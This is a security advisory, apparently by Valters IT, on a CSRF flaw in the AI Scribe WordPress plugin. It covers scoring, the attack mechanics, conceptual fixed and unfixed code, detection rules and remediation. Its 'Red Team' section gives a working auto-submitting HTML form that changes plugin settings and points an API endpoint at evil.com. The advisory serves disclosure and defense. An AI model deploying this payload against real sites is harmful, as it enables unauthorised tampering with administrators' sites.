CVE-2024-12605

Executive Summary

CVE-2024-12605 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the AI Scribe – SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress, up to and including version 2.5. The vulnerability exists due to missing or incorrect nonce validation on the al_scribe_content_data actions. This allows an unauthenticated attacker to forge requests that can update plugin settings, provided they can trick a site administrator into performing an action such as clicking on a link. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The AI Scribe plugin is distributed through the official WordPress plugin repository and potentially third-party marketplaces. Users should verify the integrity of their plugin installation and ensure they are using a legitimate source. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The attack can be executed remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a link or perform an action.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Plugin settings can be modified.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the impact is limited to settings modification, an attacker could potentially disable security features, inject malicious content, or redirect traffic.

Deep Dive & Mechanics

The vulnerability resides in the al_scribe_content_data AJAX action handler. In WordPress, AJAX actions that modify data should include a nonce (a one-time token) to verify that the request originated from the legitimate admin interface. The AI Scribe plugin fails to validate this nonce, allowing any request (even from an external site) to be processed if the admin is logged in.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a form or link that submits a POST request to the vulnerable WordPress site.
2. The request targets the wp-admin/admin-ajax.php endpoint with the action=al_scribe_content_data parameter and desired settings payload.
3. The victim (an authenticated administrator) visits the attacker's page or clicks the link.
4. The browser sends the forged request, including the victim's session cookies.
5. The plugin processes the request without checking the nonce, updating the plugin settings.

Potential Impact:

• Disable content filtering or security features.
• Change API keys or endpoints.
• Inject malicious JavaScript into generated content.
• Modify SEO settings to harm site reputation.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the al_scribe_content_data callback function. A patched version would include a nonce check.

Vulnerable Code (Conceptual):

add_action('wp_ajax_al_scribe_content_data', 'handle_content_data');
function handle_content_data() {
    // No nonce verification
    update_option('ai_scribe_settings', $_POST['settings']);
    wp_die();
}

Patched Code (Conceptual):

add_action('wp_ajax_al_scribe_content_data', 'handle_content_data');
function handle_content_data() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'al_scribe_nonce')) {
        wp_die('Invalid nonce');
    }
    update_option('ai_scribe_settings', $_POST['settings']);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with AI Scribe plugin version <= 2.5.
• An authenticated administrator session.

Exploit Steps:

1. Create a malicious HTML file (csrf.html) that auto-submits a form to the target site.
2. Host the file on an attacker-controlled server or send it via email.
3. Trick the admin into opening the file.

Malicious HTML Example:

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="al_scribe_content_data">
    <input type="hidden" name="settings[disable_security]" value="1">
    <input type="hidden" name="settings[malicious_api]" value="http://evil.com/api">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected POST requests to admin-ajax.php with action=al_scribe_content_data.
• Look for Referer headers that do not match the site domain.
• Alert on changes to plugin settings without corresponding admin UI activity.

Prevention:

• Apply the principle of least privilege; limit admin sessions.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php with suspicious Referers.
• Implement additional CSRF tokens at the application layer.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=al_scribe_content_data.
  • Referer header pointing to an external domain.
• File System:
  • Modified wp_options table entries for ai_scribe_settings.
• Logs:
  • Unusual changes to plugin settings in audit logs.
  • Multiple failed nonce checks (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2024_12605_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against AI Scribe plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12605"
    strings:
        $ajax_action = "al_scribe_content_data"
        $admin_ajax = "admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: CVE-2024-12605 CSRF Exploitation Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects CSRF attempts against AI Scribe plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=al_scribe_content_data'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-12605 CSRF Attempt - AI Scribe Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=al_scribe_content_data"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-12605;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Review and reset all plugin settings to safe defaults.
3. Audit admin accounts for any unauthorized changes.

Long-term Fix:

• The vendor must release a patched version that includes proper nonce validation.
• Users should update to the latest version once available.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=al_scribe_content_data from external Referers.
• Use a security plugin that adds CSRF protection to all AJAX actions.
• Educate administrators about phishing attacks that trick them into clicking malicious links.

Valters IT
Securing Digital Frontiers